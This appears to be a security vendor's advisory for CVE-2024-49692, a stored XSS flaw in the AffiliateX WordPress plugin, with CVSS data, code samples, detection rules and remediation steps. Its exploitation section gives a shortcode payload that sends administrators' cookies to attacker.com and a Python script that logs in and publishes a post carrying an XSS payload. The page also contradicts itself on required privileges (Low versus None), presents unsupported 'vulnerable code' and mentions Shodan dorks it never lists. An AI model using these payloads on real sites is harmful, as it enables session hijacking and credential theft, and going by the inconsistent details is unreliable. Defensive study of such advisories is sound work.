CVE-2024-49692
Executive Summary
CVE-2024-49692 is a Stored Cross-Site Scripting (XSS) vulnerability in the AffiliateX WordPress plugin (versions ≤ 1.2.9). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the compromised page, the malicious script executes in their browser context. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.
Affected Ecosystem: WordPress plugin (AffiliateX).
Attack Vector: Network (HTTP).
Privileges Required: Low (e.g., Contributor or Author role).
User Interaction: Required (victim must view the affected page).
Scope: Changed (attacker can impact resources beyond the vulnerable component).
Confidentiality/Integrity/Availability Impact: Low (partial compromise of data or functionality).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: if the plugin is installed on a WordPress site, any user with contributor-level access or higher can exploit this flaw. The lack of a vendor patch means site administrators must manually remove or replace the plugin.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L |
| Base Score | 6.5 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality | Low |
| Integrity | Low |
| Availability | Low |
Threat Level: Medium. The vulnerability is exploitable with low complexity, but requires user interaction (victim viewing the page). The impact is limited to partial data exposure and minor integrity loss.
Deep Dive & Mechanics
The vulnerability exists in the AffiliateX plugin’s handling of user-supplied data when generating affiliate links or shortcodes. The plugin fails to sanitize or escape input before storing it in the WordPress database and later rendering it on a page. An attacker with contributor-level access (or higher) can inject malicious JavaScript into fields such as:
- Affiliate link descriptions
- Custom shortcode parameters
- Product titles or descriptions
When an administrator or other user views the page containing the injected content, the script executes in their browser. This is a classic Stored XSS (also known as Persistent XSS).
Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions.
Attack Flow:
- Attacker logs in with a role that can create/edit posts (e.g., Contributor).
- Attacker inserts a malicious payload into a vulnerable field (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the WordPress database.
- When an administrator visits the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (≤ 1.2.9):
// In affiliatex/includes/class-affiliatex-shortcode.php
function render_affiliate_link($atts) {
$atts = shortcode_atts(array(
'url' => '',
'text' => '',
), $atts);
// No sanitization of $atts['text']
return '<a href="' . esc_url($atts['url']) . '">' . $atts['text'] . '</a>';
}
Patched Code (Hypothetical):
function render_affiliate_link($atts) {
$atts = shortcode_atts(array(
'url' => '',
'text' => '',
), $atts);
// Sanitize output
return '<a href="' . esc_url($atts['url']) . '">' . esc_html($atts['text']) . '</a>';
}
Key Difference: The patched version uses esc_html() to neutralize HTML/JavaScript in the text attribute.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with AffiliateX plugin ≤ 1.2.9.
- User account with Contributor role or higher.
Exploit Steps:
- Create a new post or edit an existing one.
- Insert the following shortcode with a malicious payload:
[affiliatex url="https://example.com" text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish the post.
- Wait for an administrator to view the post. The script will execute, sending the admin’s cookies to the attacker’s server.
Proof-of-Concept (PoC) Script:
#!/usr/bin/env python3
import requests
target = "http://victim-wordpress-site.com"
username = "attacker"
password = "password123"
session = requests.Session()
# Login
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target + '/wp-admin/',
'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)
# Create post with XSS payload
post_data = {
'post_title': 'Test Post',
'content': '[affiliatex url="https://example.com" text="<script>alert(1)</script>"]',
'post_status': 'publish'
}
session.post(target + '/wp-admin/post-new.php', data=post_data)
print("Post created with XSS payload.")
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for suspicious shortcode usage.
- Use WAF rules to block
<script>tags in shortcode parameters. - Scan database for stored XSS payloads using
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%'.
Hardening:
- Remove or disable the AffiliateX plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict user roles to prevent contributors from using shortcodes.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...). - Suspicious
Refererheaders from WordPress admin pages.
Host IOCs:
- Database entries in
wp_postscontaining<script>tags inpost_content. - Unusual shortcode parameters in
wp_postmeta.
File IOCs:
- Modified plugin files (e.g.,
affiliatex/includes/class-affiliatex-shortcode.php).
Log IOCs:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output.
Detection Engineering
YARA Rule
rule CVE_2024_49692_Stored_XSS {
meta:
description = "Detects stored XSS payloads in AffiliateX plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49692"
strings:
$payload1 = /\[affiliatex[^\]]*text="[^"]*<script/
$payload2 = /\[affiliatex[^\]]*text="[^"]*on\w+=/
condition:
any of them
}
Sigma Rule
title: Stored XSS via AffiliateX Shortcode
id: 8f4c3e2a-1b2c-4d5e-6f7a-8b9c0d1e2f3a
status: experimental
description: Detects creation of posts containing malicious AffiliateX shortcodes
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains:
- '[affiliatex'
- '<script'
condition: selection
falsepositives:
- Legitimate use of shortcodes with safe text
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49692 Stored XSS - AffiliateX Plugin"; flow:to_server,established; content:"[affiliatex"; http_client_body; nocase; content:"text="; http_client_body; nocase; pcre:"/<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the AffiliateX plugin until a patched version is released.
- Scan the WordPress database for stored XSS payloads using the YARA rule above.
- Remove any malicious posts or shortcodes found.
Long-Term Fix:
- Apply the hypothetical patch (use
esc_html()on all output). - Monitor the plugin’s official repository for updates.
Compensating Controls:
- Implement a Web Application Firewall (WAF) with rules to block
<script>tags in shortcode parameters. - Enforce Content Security Policy (CSP) headers:
default-src 'self'; script-src 'self'. - Restrict user roles to prevent low-privilege users from using shortcodes.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.